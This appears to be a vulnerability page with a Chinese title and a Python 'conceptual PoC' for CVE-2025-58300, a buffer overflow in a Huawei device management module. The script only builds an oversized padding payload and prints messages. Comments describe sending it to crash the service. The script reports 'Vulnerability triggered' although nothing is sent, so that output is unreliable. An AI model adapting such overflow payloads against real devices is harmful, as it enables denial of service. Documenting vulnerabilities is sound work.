CVE-2025-58300：华为设备管理模块缓冲区溢出漏洞

# CVE-2025-58300 Buffer Overflow PoC (Conceptual) # Target: Huawei Device Management Module # Vulnerability: Buffer overflow in device management module # Note: This is a conceptual PoC demonstrating the vulnerability pattern. # Actual exploitation requires local access to the target device. import struct import sys def generate_overflow_payload(buffer_size=256, overflow_length=512): """ Generate a buffer overflow payload targeting the device management module. The payload exceeds the expected buffer size to trigger overflow condition. """ # Normal expected input (within buffer bounds) normal_input = b"A" * buffer_size # Overflow data that exceeds buffer boundary overflow_data = b"B" * (overflow_length - buffer_size) # Construct the malicious payload payload = normal_input + overflow_data return payload def trigger_vulnerability(): """ Simulate triggering the buffer overflow vulnerability. In a real scenario, this payload would be sent to the vulnerable device management module interface. """ payload = generate_overflow_payload() print(f"[*] Generated overflow payload: {len(payload)} bytes") print(f"[*] Buffer size: 256 bytes") print(f"[*] Overflow length: 512 bytes") print(f"[*] Payload hex (first 64 bytes): {payload[:64].hex()}") # In actual exploitation: # - Send payload to vulnerable device management service # - Observe service crash or unexpected behavior # - Primary impact: Availability (DoS condition) print("[*] Vulnerability triggered - device management module may crash") print("[*] Impact: High availability impact (A:H)") if __name__ == "__main__": trigger_vulnerability() # Exploitation Notes: # - Attack Vector: Local (AV:L) - requires local access to device # - Authentication: Not required (PR:N) # - User Interaction: Not required (UI:N) # - Primary Impact: Denial of Service via buffer overflow # - Severity: CVSS 6.2 (MEDIUM)